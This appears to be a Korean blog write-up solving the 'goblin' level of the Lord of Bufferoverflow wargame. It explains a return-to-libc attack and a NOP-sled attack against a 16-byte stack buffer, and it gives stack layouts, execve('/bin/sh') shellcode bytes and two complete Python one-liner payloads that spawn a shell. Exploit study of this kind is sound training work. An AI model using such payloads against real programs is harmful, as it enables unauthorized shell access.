RTL로 풀기
작은 버퍼와 stdin 사이즈가 문제의 힌트다.
이전문제에서는 버퍼에 쉘코드를 넣고 ret에 쉘코드의 주소를 넣어서 쉘이 실행되게 했다.
하지만 지난번에 사용한 쉘코드는 25바이트로 버퍼보다 사이즈가 크기 때문에 ret를 바꿀 수가 없다.
따라서 RTL로 풀어야 한다.
버퍼는 아래와 같다.
buffer[16] |
SFP[4] |
RET[4] |
.... |
.... |
RTL은 아래와 같이 오버플로우를 하면 된다.
ret에 system함수의 주소를 넣고 다음 함수를 실행하지 않을 거기 때문에 sfp에는 무작위 값이 들어가고 system 함수의 인자로 /bin/sh을 넣어주면 된다.
이렇게 하면 ret에서 system("/bin/sh")을 실행하는 것과 같다.
\x90\x90................\x90\x90 |
\x90\x90\x90\x90\x90 |
system 함수 주소 |
\x90\x90\x90\x90 |
/bin/sh 주소 |
payload : (python -c 'print "\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"';cat) | ./goblin
stack을 이용해 문제 풀기
이 문제는 버퍼에 쉘코드를 넣을 수 없는 상황이다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이럴때 더 높은 영역의 스택영역까지 오버플로우를 일으켜 NOP sled를 타서 쉘코드 까지 가는 방법도 성공할 것이다.
\x90\x90................\x90\x90 | \x90\x90\x90\x90 |
ret (NOP sled 주소) | \x90\x90\x90\x90 |
\x90\x90\x90\x90 |
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 |
ret에 NOP sled 주소를 넣으면 NOP를 타고 쉘코드 까지 내려가서 쉘을 실행 시킬 것이다.
NOP sled 주소는 core dump를 이용해 찾는다.
*' /tmp' 아래에 소스를 컴파일 해 core dump를 뜬다. 홈디렉터리에 있는 파일로 뜨는 것은 권한이 없어서 core dump가 안되는 듯 싶다.
payload : (python -c 'print "\x90"*20+"\x60\xfb\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./goblin
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow wolfman (0) | 2017.08.17 |
---|---|
Lord of bufferoverflow orc (0) | 2017.08.17 |
Lord of bufferoverflow goblin (0) | 2017.08.16 |
Lord of bufferoverflow gremlin (0) | 2017.08.14 |
Lord of Bufferoverflow gate (0) | 2017.08.14 |